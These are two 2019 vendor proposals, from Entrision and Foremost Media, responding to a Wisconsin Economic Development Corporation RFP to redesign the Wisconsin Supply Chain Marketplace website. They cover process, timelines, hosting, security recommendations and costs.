Company Resources and Depth

At Entrision, we don’t like to refer to our team members as “resources”. We reserve that for the agencies who contract out to India and
the Philippines. We don’t have the “resources” in place to make your
project successful. We have the “people” in place to make your project
successful. Real people right here in Wisconsin who you can talk to
and work with directly.
You’ll get the pleasure and convenience of working directly with the
team members assigned to your project. No need to go through
annoying and useless customer support, or layers of project management. You will be in direct contact with the professionals who have
the answers. All training and support is done by the architects who
built the system and are intimately familiar with the product.

Subcontractors

Entrision does not plan to use any subcontractors on this project.
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Technical Approach
1. Research & Discover

The first phase of the process will be a research phase. We will work with the team at the WEDC to
determine the exact requirements and specifications for the system. We will dig deeper than the
high-level information provided in this initial scope and determine the exact feature set and needs
of the users. We will work closely with the potential users, both on the administrative side and the
end-user side to become experts on the needs that the system will have to address.

2. Wireframe

After the research phase is done, our designer on this project (Jeni Hutchinson) will start work on
wireframing the application. The wireframe will show the general page layouts and navigation that
we plan on offering. This is where we design the application architecture from a user perspective.
Navigation flows, page structures, flow paths, etc. All this will be worked out based on the details
gathered in our research. We’ll work closely with the WEDC during this phase, with quick, iterative
feedback loops. At the completion of this phase, we will have established a complete application
architecture design for the entire application.

3. Graphic Design

The graphic design phase will not begin until the wireframes are complete and we have received
approval from our point of contact at WEDC to move forward. During the graphic design phase we
will go into more detail than with the general wireframes. Jeni will work with you to create icons,
logos, and a color scheme - based on existing state branding. At the end of this phase, we will have
an exact mock-up of every page in the application, so that you can see exactly what the app will
look like before we write a single line of code.

4. Development

Development is the longest stage of the project. It will be cyclical, and broken down into manageable, trackable tasks - which will be grouped into two week “sprints” of work. We will have a very
agile approach to development and allow for testing after each major phase is completed. This will
allow for feedback throughout the entire development phase.
Standing weekly meetings will be scheduled with the project managers to provide updates, answer
questions, and do a general status briefing.
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Technical Approach (continued)
5. Beta Testing

Throughout the development process and after the application is completed we will use a staging
and testing server to allow the WEDC staff to test and review the web system, as well as support
testing by our internal staff. Any issues found will be addressed and resolved.
It is important that the program’s incremental releases be reviewed as they occur, If the WEDC
does not review each iteration throughout development, it is possible that the project could move
in an unintended direction. This is how we ensure alignment in our teams.

6. Deployment

Once the application has been approved, we will deploy the backend system to the production
servers, which will be hosted with Amazon Web Services, on their secure remote servers. We will
have nightly database backups taken and uploaded to a remote secure location with the Amazon
S3 storage service.
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Timeline
Important

The dates below are contingent and based on a signed contract on/before
3/15/19.

Milestones & Sprints

Start

Finish

Contract Awarded

3/8

3/8

Contract Signed

3/11

3/15

Sprint 0

3/18

3/29

Sprint 1

4/1

4/12

Sprint 2

4/15

4/26

Sprint 3

4/29

5/10

Sprint 4

5/13

5/24

Sprint 5

5/27

6/7

Release/Deployment

6/10

6/21

Hypercare/Signoff

6/24

6/28

Copyright 2019 Entrision LLC. Confidential Document

3/18

4/1

4/15

4/29

5/13

5/27

6/10

6/24

23

Entrision Process
Here at Entrision we use an Agile project management methodology called Scrum. We divide the
project up into two week Sprints. For this project we anticipate five (5) development Sprints, as
identified in the Timeline above.
Sprint 0 - we will do requirement gathering by documenting all site features as user stories in a
product backlog. Through tight collaboration with the designated client subject matter expert we
call the Product Owner, we will review the backlog to ensure nothing has been missed, and then
prioritize the list of items. Doing this allows us to see where there may be features that rely on
other features of the project and/or where we can build efficiencies in the way we approach work.
Once we have the backlog established, our team applies a general estimate to each user story. It
is also the base scope for the project that must be agreed to before we proceed. Changes to the
details of the backlog are expected, but must be considered with relation to the bounds of the
project scope.
Sprint 1-5 - from there, we then internally break the release into manageable chunks (Sprints)
and start to divide up stories amongst the team. During each Sprint we will have weekly client
meetings to prioritize, or groom, the backlog, keeping you updated on status and addressing any
impediments. We will also hold daily internal meetings with the scrum team to discuss progress
and any impediments holding up development progress; we called these a Daily Standup. Any
impediments will be addressed and potentially escalated immediately so that progress toward the
deliverable can continue.
At the end of the Sprint, a review will be held with the client and development team to provide an
opportunity for direct feedback on the implemented functionality. The resulting feedback will be
put back into the planning cycle and prioritized with the rest of the outstanding work (it may be
done in the next sprint, next release, or potentially not at all).
Release Sprint - following the last development sprint of the release we do final Quality Assurance.
Then User Acceptance Testing will be conducted by the client prior to the deploy into production.
Hypercare - following deployment into production our team will be on high alert to swiftly address
any in-production issues that may arise.

Approach to Updates
When it comes to security, stability, and long-term health of a software product, we believe that
the best defense is a good offense. This means we stay on top of updates, security patches, and
platform support before they become emergencies.
We install monitoring and alerting software on all applications, so if there is ever a problem, we’re
made aware of it immediately, and would work with WEDC to mitigate any issues based on it’s
severity and priority.
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In terms of a structured maintenance plan, we don’t have a restrictive “set” maintenance plans to
choose from. Each project has unique needs, and we design and implement maintenance plans
according to those needs, on a per-project . To illustrate how we typically engage though, we
generally have a set retainer (per month or per quarter) of planned maintenance hours, which are
split between emergency on-call needs, and planned maintenance.
Any major updates are always deployed during off-hours to ensure an interruption-free experience for users.

Solution Recommendations
This product, according to the requirements, is 95% data-driven web application and about 5%
content-driven website. That distinction is very important because it dramatically changes the best
tool for the job. Rather than designing for the 5%, we need to design for the 95%, which means
using a web app framework instead of a CMS.
We plan to use an MVC (Model-View-Controller) framework called Ruby on Rails. It’s the world’s
foremost framework for this type of application. It’s free (no licensing fees), open-source, heavily
supported, community-focused, and highly scalable and maintainable.

Hosting
We recommend a hosting environment on AWS (Amazon Web Services). It’s proven to be highly
reliable, easily scalable, and widely compatible. We’d additionally recommend asset storage in Amazon’s S3 storage service. We set this up, manage, and monitor the environment for you.
We will also implement nightly database backups of the entire system, which will be uploaded to a
redundant, secure location with the Amazon S3 storage service.

Security
We recommend that all login and registration pages be moved under a SSL Certificate and follow
the secure https protocol. This is currently not the case, and is an easy move.
Additionally, all standard practices will be followed. All sensitive information will be encrypted, and
any data relating to PCI compliance will be stored using a compliant third party.
Access checks and validations will be done on multiple levels, including both the view layer and
the application layer.
Our system requirements will require strong and secure passwords.
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Jacob Duke
Technical Director
Abuse Prevention Systems
jacob@ministrysafe.com
Ross MacPherson
Budget Manager
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Chris Van Den Elzen
Chief Operating Officer
McDermott Excavating
chris.vandenelzen@gmail.com

Douments
See attachment A

Copyright 2019 Entrision LLC. Confidential Document

26

Project Completion
Timeline
See graphic on page 23.
Training Support
Because we’ve done our job right up until now, this part should be incredibly easy, for
two reasons. Number 1 - we work closely with our clients throughout the entire process.
So the WEDC will be involved throughout the entire build process. Because of this and
our agile development philosophy, “implementation” is a continual practice throughout
the entire process. It’s not one big “flip of the switch” at the end of the project. Various
levels of implementation will be occurring throughout the entire duration of the contract.
Secondly, our goal is to design systems so that they are totally intuitive, and users
should be able to navigate them easily with little or no knowledge of the system.
Because of these processes, very little training should be necessary. However, all that
being said--on site training will still be provided for up to 25 people. After the on-site
training session and walk-through, telephone and email support will be provided to
work through issues, answer questions, and provide additional training as needed.
Documentation
Entrision will provide written documentation of all system features and functions before
any system component is to be put into production. Documentation deliverables will include a database schema design file, system architecture drawings, and other necessary
documentation necessary for future system development and management.
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Cost Proposal
Complete Project
Fixed Bid - Not to Exceed $160,625

Team Hourly Rate & Estimated Hours
The contractor agrees to perform the work detailed in the scope at the following
hourly rates:
Expert Type

Hourly Rate

Estimated Hours

Project Management

$125

160

Design/User Experience

$125

145

Development

$125

980

Hosting Costs
Hosting will be done by a third party. Entrision will manage the servers, and perform
any necessary maintenance or upgrades, which will be covered as part of the hosting
fees described below. Hosting will be provided at the estimated rate of $100/month.
This includes web hosting, database hosting, monitoring software, as well as automated daily system backups and database backups.
Term

Estimated Cost

Year 1

$1,200

Year 2

$1,200

Year 3

$1,200

3 year hosting total

$3,600
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Cost Proposal (continued)
Projected Ongoing Maintenance Costs
These estimated costs are based on the amount of maintenance that has been generally required by our team on projects with similar size and scope in the past.
Term

Estimated Cost

Year 1

$5,500

Year 2

$4,200

Year 3

$4,000

3 year hosting total

$13,700

Payment Schedule
Invoicing will take place on a bi-weekly basis with amounts due directly reflecting
quantity of work performed based on our mutually agreed upon sprint schedule.
Payment terms are net 15.
Service Level Agreements
Application target uptime: 99.95%
Severity Definitions of Errors and Service Levels:
High: System is completely down, no work can be done.
Entrision will provide a direct acknowledgement to the Client Support Contact within
2 business hours of receiving notification.
Upon verification of the Error as a High, Entrision will prepare a plan and start working toward resolution within 2 business hours of client acknowledgement.
Medium: Significant component of system is not functioning
Entrision will provide a direct acknowledgement to the Client Support Contact within
4 business hours of receiving notification.
Upon verification of the Error as Medium, Entrision will prepare a plan for resolution
or Workaround within 4 business hours of client acknowledgement.
Low: Component of system is not functioning and there is a Workaround available.
Entrision will provide a direct acknowledgement to the Client Support Contact within
4 business hours of receiving notification.
Upon verification of the Error as Low, Entrision will provide an estimate to the client
for issue resolution or within 8 business hours, unless waived by Client.
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Contact Us
You can reach us with any of the methods below:

By Phone

Derek Harrington: 1-906-282-7554
Bruce Schmidt: 1-414-732-4018

By Email

derek@entrision.com
bruce@entrision.com

On our website

http://entrision.com

By Post

Entrision LLC
324 E Wisconsin Ave. #625
Milwaukee, WI 53202
Please feel free to call us to discuss the quote, request more information or for any other reason.
We look forward to hearing from you soon!
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Redesign of Wisconsin Supply Chain Marketplace

Executive Summary

This Strategic Internet Business Solution Proposal has been produced as a result of the RFP dated January 7th,
2019 produced by the Wisconsin Economic Development Corporation. Significant consideration has been given to
industry and market trends on the Internet and specifically how to enhance the current functionality of the current
website by adding an updated user interface, enhanced search capabilities, and a new data structure that allows for
easy integration with other systems.
Within this Proposal, we have outlined some of the exciting possibilities and ground-breaking opportunities that
Foremost Media can offer Wisconsin Economic Development Corporation and their clients. We have also detailed a
pricing breakdown and a project timeline based on our discussions.
The following Internet Solution defines the scope and cost of the project. It is not intended as an all-encompassing
list of requirements.
View This Proposal Online
This project was originally produced as in an interactive online digital format that includes easy navigation and
embedded video. If you're viewing a printed PDF version of this proposal we encourage you to check out the
original online version. If you wish to share this proposal with other members of your organization we encourage
you to save a tree and share the original online proposal link instead of a PDF.
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Project Scope
The Wisconsin Supply Chain Marketplace (WSCM) is an online directory primarily for manufacturing suppliers and
original equipment manufacturers (OEMs) to facilitate business-to-business connections by enabling
Wisconsin-based companies to create a profile providing background on their services. Likewise, for companies
interested in sourcing suppliers in Wisconsin, the WSCM enables companies to post RFPs. It is accessible here:
http://www.wisupplychainmarketplace.com/.
The goal of this project is to use the current WSCM http://www.wisupplychainmarketplace.com/ as the starting point
for the required functionality expected to be delivered for the redesign and redevelopment project. Specific services
to be provided include but are not limited to:
1. Redesign the user interface
2. Develop new data structure to support all existing data sets (current platform is developed on a Concrete5
Content Management System (CMS)).
3. Support existing functionality that includes, but is not limited to:
a. Supplier profiles
b. Search functions by industry, category, region
c. Regional version of database including templates and filters
d. Request for Proposal (RFP) posting
e. Admin functions
f. Admin/system email, behavior trigger, i.e. confirmation of profile approval
g. “Bulletin board” area of site that features news and auto feeds from profile content
h. Data/list download capabilities for approved user set (included in admin function)
i. Enterprise solution that allows for 3rd party integration of existing OEM vendor platforms
j. Support all necessary site content, including but not limited to: About Us, Contact Us, Privacy Policy,
News, etc. All can follow an available CMS template.
k. Hosting
l. Google Analytics
m. Ensure site is built with Search Engine Optimization (SEO) in mind
n. Mobile friendly
o. Ongoing maintenance
4. Project must be completed and fully transitioned from current WSCM by June 30, 2019.

Consultation Services
Foremost Media is committed to delivering the highest level of consultation service. We will regularly evaluate your
site and make recommendations that will keep you in the forefront of technology, informed of developments in your
market and ahead of the competition. Our organization believes in developing strong and lasting relationships with
our clientele.

3

Redesign of Wisconsin Supply Chain Marketplace

Our Approach to Services
Foremost Media approaches most new web development projects with a 5 phase approach, which has proven to
generate positive results for our clients in the past.
Phase 1 - Discovery & Interview
In this phase our goal is to really understand your needs and objectives for the project. Our team will meet with all
project stake holders to discuss your target market, competition and goals for the web development project. During
that meeting our experienced project team will help to identify all the different elements that need to be
accomplished during the project from graphic design to testing and then final delivery.
Phase 2 - Solution Proposal
From this meeting we will meet with our team members and develop a solution proposal that clearly lays out all the
elements that need to be developed to accomplish your goals as well as approximate timelines and costs for
development. All of these details are compiled into a customized report, giving you a high-level look at the
proposed project for approval before the actual build begins. This phase ensures that the deliverables are in line
with your goals and objectives. Often this phase will include the development of a site map and wire frames as well.
Phase 3 - Graphic Design Mock Ups
During the graphic design phase, our graphics team will convert your approved site map and wireframe documents
into a graphical mock up for discussion with your team. Our team will clearly define the look and feel to provide a
consistent representation of your company’s image and brand position. Our professional graphic artists will lay out
your website based on your logo, marketing materials and input from you. We will get into details such as how the
navigation will look and function. During this phase, your team will have the opportunity to make revisions to the
website look and feel until satisfied. The deliverables for this phase are typically flat mock ups of what the site will
look like via online links for your approval.
Phase 4 - Project Build
During the build phase our development team will take the approved graphic design, site map and wire frames and
actually write the code needed to deliver you a functional website. Web design best practices such as cross
browser compatibility, optimized code for good performance, clear navigation and minimal load times will be a
constant focus during the build process. During the build phase, you will have a link in which to view and provide
feedback on the site as the build progresses.
Phase 5 - Testing and Launch
One of the most important steps in any web development project is TESTING. Our team will run internal tests on
site performance, security and both mobile device and web browser compatibility. We will also encourage your
team to perform tests on the website. Once testing is complete, we will work with your team to place the site live on
the internet and implement analytics, etc., in order to track the success of the site moving forward.
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After Launch
After launch we will regularly evaluate your site and make recommendations that will keep you in the forefront of
technology, informed of developments in your market and ahead of the competition. Our organization believes in
developing strong and lasting relationships with our clientele. Foremost Media offers 24/7 support for critical site
issues. The dedicated support department at Foremost Media uses a powerful ticket-management platform that
allows us to centralize all support conversations and issues in one area, so regardless of who you spoke to in the
past or how you chose to communicate with us, anyone in our office from finance or sales to the CEO can quickly
review the status of your issue and account history. From emails to phone calls or live chat, you need to have the
right tools in place to keep track of everything so that nothing falls through the cracks.

A Successful Project Starts With Excellent Project Management
Our project managers have vast experience at delivering projects on time and on budget. Each project we deliver
here at Foremost has a dedicated project manager assigned to it that will be your main contact and coordinate our
team of experts to ensure a successful project for you.

Learn More About Our Project Management- See Video Below:

Watch The Video At: https://vimeo.com/266725663
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Code Repository and Version Control
At Foremost Media, we track all our builds with a code repository. In our offices, you will never see our team
working together in a shared folder on the same set of files. We don't feel shouting through the office that you are
currently working on file "xyz" and that, your teammates should keep their fingers off is an acceptable workflow. It's
extremely error-prone as you're essentially doing open-heart surgery all the time: sooner or later, someone will
overwrite someone else's changes.
Our code repository system allows everybody on the team the ability to work absolutely freely - on any file at any
time. The code repository allows us to document and merge all the changes into a common version. There's no
question where the latest version of a file or the whole project is. It's in a common, central place: your version
control system.

No Outsource Promise
In today's web development world, it's not uncommon for web development companies to use offshore
development teams or outsource parts of a project to 3rd parties. At Foremost Media, we do all of our development,
marketing, creative work and after launch support right here in-house.
We believe the good communication that results from an in-house team gives us ultimate control over the
production of the product. This control makes for successful projects that are delivered on time and on budget and
easier to support after launch.
If you call in after launch with an issue you will be speaking with someone who is familiar with your project and can
work to immediately solve your issues.
Building a website can be challenging enough without having to worry about language barriers and different time
zones or dealing with a middle man that needs to check with a third party developer and get back to you.
The Foremost Media also prides itself on redundancy across our team. Each of the people involved in your project
has at the very least one other coworker with the same skill sets that can jump in if needed.
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Sitemap and Wireframe Development

A
sitemap lets you take a closer look at the pages of your site and how they will lead into each other. Foremost Media
will work with you to create a sitemap for your new website. When completed, your new sitemap will show all the
important pages, documents, and other resources on your site in one convenient location. After identifying the
elements, we will sort them into visual hierarchies and clearly represent traffic between them by adding connecting
lines. We will also work with you to identify where the content is needed to build the new site and where that
content will come from. Some examples are an existing website, a brochure, or even a current video. Your sitemap
will serve as a blueprint for your new site.

What's A Site Map? - See the Video Below:


Watch The Video At: https://vimeo.com/266725062
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Wireframe Creation
A wireframe uses basic boxes and lines to define the spaces on the page, to clarify branding and navigation, and to
indicate where text will reside — before the actual images and content are created. A web site wireframe is a great
way to clarify your vision for the entire web development team. Foremost Media will develop a wireframe mock up
of the home page of your website as well as other key pages as needed.
•

Wireframe layouts save everyone time and money on development costs:

•

Wireframes help make the design process iterative. Instead of trying to combine the functionality/layout and
creative/branding aspects of the website in one step, wireframes ensure that these elements are taken in one
at a time. This allows our clients (and other team members) to provide feedback earlier in the process.

•

Wireframes help get all parties involved in the new website on the same page about what the web site is
supposed to do and how it is supposed to function.

•

Our coders view website mockups to ensure they are developing a framework that will accommodate the
vision. They also use website wireframes to verify they are including the right branding and navigation on
each page.

What's A Wireframe? See the Video Below:


Watch The Video At: https://vimeo.com/266962809
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Creative Services -Website Look Feel & Flavor
For this project, we are recommending our " High-End Custom Design" option. The High-End Design Option allows
our team to spend more time planning and designing things like Advanced Navigation, Home Page Layout and
style guide, directory page layout, etc. The video below will help you understand how our custom graphic design
services are priced as well as what you can expect during the process. On the pricing tab of this proposal, we've
pre-selected the High End level of graphic design. Based on your RFP, we feel this level of design will accomplish
all your goals.
If you feel your project requires more or less design time, you can adjust the level of design as you see fit. If you
have any questions, please don't hesitate to contact us.
Regardless of the level of graphic design you choose, we understand that your Internet Solution is a critical
component of your corporate image and how you operate your business on a day-to-day basis. For each level of
custom graphic design, we will strive to ensure that:
•

Your site reflects your business and image.

•

Your site is tailored to your market.

•

Your site is thoroughly planned out.

•

Your site is exciting, interactive, informative and uniquely individual.

•

Your site is represented in a professional and considerate manner.

The Internet Solution for Wisconsin Economic Development Corporation will have a defined look and feel to provide
a consistent representation of the Company’s image and brand position. Clear navigation and minimal load times
will be a constant focus during the design process.

Understanding Our Custom Graphic Design Process

Watcch The Video At: https://www.youtube.com/watch?v=4ooHuyq_PNM
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Responsive Design
What is a Responsive Design?

A responsive design allows your website to display nicely across a multitude of different size screens and devices
including desktops, tablets and mobile phones. With a responsive design, your website becomes flexible and
adapts to different screen sizes across a broad range of devices and browsers giving your site visitors access to a
single source of content that is laid out to be easily read and navigate with a minimum of resizing, panning and
scrolling.

What is responsive design- Example Video

Watch video at: https://vimeo.com/170175575
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Why should your website have a responsive design?
Increase Your Customer Base
Your customers are mobile, how about your business? Consumers are increasingly using mobile devices to search
for business information. By 2014, it is estimated that the number of people browsing the web on their smartphones
will exceed desktop visits. By Hiring Foremost Media to create a mobile-friendly responsive website, you can
proactively reach out to new customers and expand your reach.
Enhanced Customer Experience
Most websites are not designed to be viewed on the small screens of mobile phones. Our designers can easily
build you a custom website that is optimized for smartphones and tablets, creating a better experience for your
mobile and tablet website visitors. Unlike a dedicated stand alone mobile site, with a responsive design you only
have to update your site in one place and all users will see the changes.
Stay Ahead of Your Competition
Studies show that less than 2% of businesses have a mobile-friendly website, an amazing figure given that more
that 20% of Google searches are now done on mobile. Instantly set yourself apart from your competition by having
our professional designers build you a great looking responsive design website to tap into the growing mobile and
tablet market.
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Enhanced Site Search & Directory Navigation
Starting with the wireframe mockups all the way through final build one of our key focuses will be on better usability
for the site. Looking from the outside in we currently see room for improvement in the following areas:
1. Universal Site Search- The current search box located at the top of the site doesn't seem to search the entire
site and looks to be just using exact matches vs user intent. We feel there is room to improve the search
experience and results to help users find the information they are looking for quickly and easily.
2. The directory section of the site would benefit from filtered search functionality which would allow users to
start with a broad list of companies and start to narrow the results by region or industry or category similar to
how you narrow product search results on a ecomerece site. In the example below from
https://www.americancontrolelectronics.com/ac-drives As you choose different product options your selections
narrow until you find the product that fits your specific needs. The same functionality could be applied to
companies in the directory.
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Website Super Structure
Content Management System (CMS)
The Back Bone of your new website will be built on a Content Management System called DNN. This cutting edge
system enables admin users to dynamically create an unlimited number of pages on your website. All main menu
links and sub menu links are also created dynamically from the Administration module. An easy to use What You
See Is What You Get (WYSIWYG) Site Content Editor is attached to every page in the website that allows a means
for non-technical webpage content creation or updates.
For your website development project, we will be building on the DNN CMS system. This robust CMS is used by
hundreds of our clients as well as over 600,000 organizations world wide including the Department of Defense.
DNN is a Open Source Technology built on Microsoft ASP.net Framework and MSSQL server.
All resources Foremost Media uses to build your site must pass our own set of criteria that include WC3, CSS,
XHTML, validation, usability must be consistent across different Operating Systems (i.e. XP, VISTA, Windows,
LINUX, MAC OS, GOS) and different browsers (IE7.0 / 6.0, FireFox, Safari, Opera, and more). All designs and
functionality are verified on www.browsershots.org as well as through internal testing.
Several popular DNN sites in Southern Wisconsin built by Foremost Media include www.alliantenergycenter.com,
www.woodmans-food.com, www.weatrust.com, www.jobsinrockcounty.com to name a few.

What You See Is What You Get Editor (WYSIWYG)
This advanced WYSIWYG editing tool allows clients to update the content of a website in a simple fashion. The MS
Word-like interface enables changing Fonts and its attributes like: type, size and color right before your eyes.
Copy/Paste from Word, Zoom, Insert Java Script, Remove Format are just few of many of recently added features.
The WYSIWYG editor contains a Online Image Editor - People that input content on a website are generally not
web designers, so most don't have that design & technical fiber in them. With online image editor, you can now edit
image file with no image editing software to download or install! Easy drag and drop familiar interface. Resize,
change dimensions, scale, crop, add text, optimize, rotate, flip, mirror and add watermark.
Insert clean HTML from Microsoft Word- When text is pasted from Microsoft Word allot of unnecessary word
specific markup is carried across. This can result in web pages that take an unnecessarily long time to download.
The Paste from Word button solves this by removing word markup before pasting the text into your page.
Unlimited levels of the undo/redo feature- Many of the other editors on the market cannot undo or redo certain
actions, and certain table operations - such as cell merge or column deletion. Cute Editor 4.0 has a new custom
undo/redo implementation to make you can now safely undo those actions.
Downloadable files support- You can upload document files, create a link from your HTML content to the document
files (zip files, ppt files...).
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Quick Video Overview of the WYSIWYG Editor

To see our WYSIWYG editor in action please visit: http://goo.gl/vkU9r
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User Registration
Visitors to the site will be able to quickly and easily register with the site and set up their own accounts. Depending
on the set up of the portal, users will either be automatically logged into and their account details will be displayed,
or they will need to open their automatically generated welcome email to obtain the additional information to login.
In both instances users will be sent a welcome email with their account and login information. Once an account has
been created on the website the site administrator will receive an email notification and if additional levels of access
to the website need to be granted, the site administrator has the ability to do so quickly and easily through the
website. If a user forgets a password they can easily have it sent to their email address. This will be the email
address they provided upon registration, unless they have updated their email address since.

Security Roles and Protected Content
Administrators can set up, define and assign roles to different user groups, such as: employees, customers,
vendors, prospects, site administrators, etc.
Once user roles are set up, administrators can then grant view access and editing rights for each roll. When users
log on to your site they have the ability to view or edit only the information they are permitted to. These rights can
be assigned to the entire site, a single page or even just a portion of a page. Users may belong to more than one
role giving them access and editing rights to various secure areas of the site.
This approach allows each department in your organization to be able to update specific sections of the website
without technical ability. It further allows the website to display different information to different groups of users. The
content on the site could change completely based on what type of user is accessing the site. When employees log
in to the home page of your site, it could display important events, new policies etc. When key vendors log in, the
home page could display information that is important to vendors.

CMS Overview

See The Video Here: https://vimeo.com/236590477
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Website Tools (Modules)
News Manager Module- This powerful program allows the site administrators to organize news articles on your
website using a database. Website users can find articles easily by browsing or using the keyword and date search.
In addition, old news articles can easily be archived. Categories can be set up in the news manager for each type
of news article you wish to post. News articles are easily added from the intuitive admin panel and each news page
is supported by our site content editor.
File Downloads- (Reports, schedules, timetables, minutes) will be provided to your visitors. Foremost Media will
accomplish this through the use of a File Download Link. This will reduce your website investment as fewer pages
will need to be created and it will provide your customers with the opportunity to download (reports, schedules,
timetables, and minutes) onto their own computer where they can read it at their leisure.
Search Functionality- Search functionality will be added to specific components of the site to enable users to find
content in an efficient manner. This is especially useful for sites with complex navigation or large quantities of
database data.
Attach Documents With Ease- Our content management system allows you to quickly and easily upload
documents and create a File Download Link in a few easy steps. This will reduce your website investment as fewer
pages will need to be created and it will provide your customers with the opportunity to download (reports,
schedules, timetables, and minutes) onto their own computer where they can read it at their leisure.
Auto Generated XML Site Map- Our auto generate a special XML sitemap will automatically update when you
update your site. This site map will help search engines like Google, Bing, Yahoo, and Ask.com to better index your
website. With such a sitemap, it's much easier for the crawlers to see the complete structure of your site and
retrieve it more efficiently.
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Secure Certificate (Positive SSL)
Recent updates in the world of Google and site security could have a significant impact on your search engine
rankings. Most informational and non-ecommerce sites are typically built without a secure certificate, i.e. HTTP
sites. HTTP sites do not contain or use encryption or other additional security to protect the information that is
passed between the browser and the site. Google has announced they are now giving more authority to sites with
an HTTPS.
What does this mean? An HTTPS certificate basically adds more security to your site by encrypting the data
passed between the web server and the site. In the past, most e-commerce sites went secure for checkouts etc.,
but now Google is recommending HTTPS security be applied to all websites in order to create a more protected
online presence for users. Recent studies are showing an increase in traffic as well as a reduced bounce rate for
those sites adding security to their website. We are highly recommending that all of our clients add this certificate to
their websites to help further increase website traffic and security.
Learn more about the benefits of Secure Certificates

Activate the green address bar for the highest trust & conversions

ExtendedSSL activates the green address bar and displays your organization name in the browser interface. These
prominent security indicators increase user trust in your website and increase its credibility, leading to more sales
conversions.
Features and benefits of EV SSL:
•

Green address bar provides immediate trust and helps customer conversion

•

Highest strength 2048-bit signatures with 256 bit encryption

•

Recognized by 99.9% of browsers and mobile devices

•

Free TrustLogo site seal

•

Unlimited server licenses

17

Redesign of Wisconsin Supply Chain Marketplace

•

Priority phone support

•

$250,000 relying party warranty

•

30 day, no questions, money back guarantee

Because EV SSL certificates deliver the highest levels of trust, the green address bar is recognized by consumers
as a hallmark of security used by only the best online retailers. Make sure your site enjoys the same degree of trust
and security. EV SSL certificates were designed to strengthen e-commerce security, combat phishing attacks and
to create the most complete SSL certificate available. Visual assurance helps e-commerce merchants increase
trust, reduce shopping cart abandonment, and build long-term revenue.
You'll benefit from:
•

Reduced shopping cart abandonment

•

Increased conversion rates

•

Ease of EV deployment by using our EV Enhancer technology

•

Protect your customers from phishing attacks
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OEM 3rd Party Integration & List Generation
The Wisconsin Supply Chain Marketplace could become a hub of information for other websites by supporting 3rd
party OEM integration. We plan to accomplish this integration by building out a user-friendly and well documented
API.
This API will allow 3rd parties with proper credentials to both push and pull data such as RFP's or directory listing
information to their applications. Possible uses could include, but are not limited to, updating job postings on
company profiles or pulling RFP's or directory listings into local economic development or real estate sites.
In addition, we plan to build an interface that will allow specific user roles to search or filter the directory to obtain
their desired set of search results then download that set of results into an excel file for use in their applications or
business needs. We feel this functionality might be useful for an economic development directory to generate a list
of companies they wish to speak to quickly and easily.

Directory Distribution - Value Add Idea
Many smaller local economic development organizations struggle with maintaining a list of local manufacturers. The
Wisconsin Supply Chain Marketplace directory could solve this issue for these smaller organizations by creating an
embeddable directory from the data in their database. Essentially users with proper credentials could generate a
link or embed code of filtered search results (Perhaps by region or even county or city) and use that embed code to
place those directory listings in their website.
For example, the Dane County Economic Development director would like to list all the manufacturing companies in
Dane County on their manufacturing page on their website. Functionality could be built to allow that development
director to generate code that when placed on a page on his website brings in just directory listings from Dane
County without all the navigation from the Wisconsin Supply Chain Marketplace site. The end user visiting the Dane
County Manufacturing page would just see directory results from Dane County and the results would update when
the Wisconsin Supply Chain Marketplace site was updated eliminating the need for the local directory to maintain
the directory. The information could be obtained through the previously suggested API as well but unlike integration
with an API, this functionality would require very little programming on the part of the site that wishes to embed the
data.
You can see this concept in action on the following websites where the manufacturing company is using an
embeded catalog on their distributor sites to distribute their product catalog to the distributor:
Master Catalog (Manufacturer):
https://www.bciburke.com/our-products/category/playground-equipment
Child Distributor Catalog (Distributor):
http://www.innovplay.com/products/playground-equipment#/catalog
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This functionality could be built in around 30 Hours of work. NOTE- The cost for this functionality is not included in
the pricing page of this proposal but could be added down the road or to the project.
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301 Redirection From Old Site To New

Watch The Video Here: https://vimeo.com/266723694
In today’s day and age, most established companies already have a website. What this means is that most of
today’s new website launches are actually re-launches or redesigns of the old site. Re-launching a new website has
some unique challenges, especially if the site is well established. One of the most overlooked and critical things
inexperienced webmasters do when re-launching or re-designing a site is skip the site redirects. Site redirects, or
more specifically page redirects, are a way to send both search engines and site visitors to a different or new
webpage from the one they originally requested.
So why is a site redirect important to a site re-launch?
If your site is well established and you change page names or page structure, you will need to tell the search
engines where that new page was moved to. This is typically accomplished with a 301 redirect. This redirect
automatically transfers the visitor or search engine from the old page to the new page. If a redirect is not done
properly, when people click on link from the old site to your new site, or on a link from the search engine, chances
are they will get a Page Not Found error. Search engines do not like Page Not Found errors and will quickly remove
or lower your rankings if these appear across the site. If you have launched a new website recently or plan to redo
your website in the near future, it is very important to look at your most frequently visited pages and establish 301
redirects from each of these pages to the corresponding pages on your new site.
Foremost Media will work to identify your most popular and linked to pages and redirect those pages to your new
site in order to help maintain search ranking and visitor flow.
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Website Hosting & Infrastructure
Foremost Media will host your site in our Tier IV data centers and will provide a wealth of technological assistance
and innovation that is not readily available in the market today. Every site we host includes is backed up daily and
secure. In fact we guarantee 99% network uptime. Your hosting package also includes the following:
Network Monitoring - All critical infrastructure components are monitored using SNMP management tools
Carrier Access - Four local SONET fibers provide redundant carrier\neutral fiber access (AT&T, Level 3, Qwest,
and COX)
Internet Access - Redundant tier one internet bandwidth managed by Route Science Fully redundant Carrier class
Cisco core routing and switching
Training & Tech Support- Foremost Media will provide training on how to operate and maintain the site. This
training shall consist of up to 4 hours at your location plus on-going phone support for the life of the hosting
contract.

Photos Of Our Data Center
To view photos of our data center please visit or Facebook Page

FTP Site Access
FTP Access- Each of our Hosting Packages includes An FTP or File Transfer Protocol account which allows you
access to the Foremost Media servers to add, modify or delete information on the website.
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Analytics And Your Website
Site Stat Reports- Foremost Media will integrate Google Analytics into your website. Google Analytics is the
enterprise-class web analytics solution that gives you rich insights into your website traffic and marketing
effectiveness. Powerful, flexible and easy-to-use features now let you see and analyze your traffic data in an
entirely new way. With Google Analytics, you're more prepared to write better-targeted ads, strengthen your
marketing initiatives and create higher converting websites.

Watch The Analytics Video Here: https://vimeo.com/266723825
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Ongoing Maintenance & Marketing
For ongoing site maintenance, we suggest you purchase a block of hours each month to be used towards any site
and improvements Including:
•

Website updates

•

Security patches and updates

•

Marketing activities like SEO and Social Media Posts

Any client hosted with Foremost Media will be provided with monitoring of their site for CMS updates and security
patches as well as intrusion detection. As updates and patches are released, we will test and apply them
automatically as needed if you have a block time agreement. Any unused block time hours each month will roll over
and be available for use during the following month.
If you choose not to engage in a monthly block time maintenance agreement our team will make you aware of CMS
updates and enhancements and provide price quotes to apply these changes. Critical server and CMS security
patches will be applied automatically and are included with our hosting package.
If you choose not to do a block time agreement for support and ongoing updates our regular service team is
